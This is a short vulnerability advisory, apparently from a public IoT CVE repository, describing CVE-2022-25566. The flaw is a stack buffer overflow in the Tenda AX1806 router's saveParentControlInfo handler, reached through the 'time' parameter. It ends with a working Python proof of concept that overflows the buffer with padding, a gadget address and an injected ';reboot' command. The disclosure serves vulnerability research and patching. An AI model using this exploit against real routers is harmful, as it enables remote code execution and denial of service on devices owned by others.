CVE-2022-25566: IoT-CVE/Tenda/AX1806/12 at main · sec-bin/IoT-CVE

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Remote Code Execution && Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the /goform/saveParentControlInfo page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html

There is a stack buffer overflow vulnerability in the saveParentControlInfo function.

First， this function calls the sub_60BE0 function.

In the sub_60BE0 function, the v12 variable is directly retrieved from the http request parameter time.

Then v12 will be splice to stack by function sscanf without any security check, which causes stack overflow.

So by POSTing the page /goform/saveParentControlInfo with proper time, the attacker can easily perform a Remote Code Execution with carefully crafted overflow data.

POC

The exploit of Remote Code Execution:

from pwn import* import requests

url = “https://192.168.2.1/goform/saveParentControlInfo”

gadget = 0x37208

time = b"a" * 0x58 time += b";reboot" # command you want to execute time += b"-" time += b"b" * 0x34 time += p32(gadget)

r = requests.post(url, data = {"time":time},verify=False )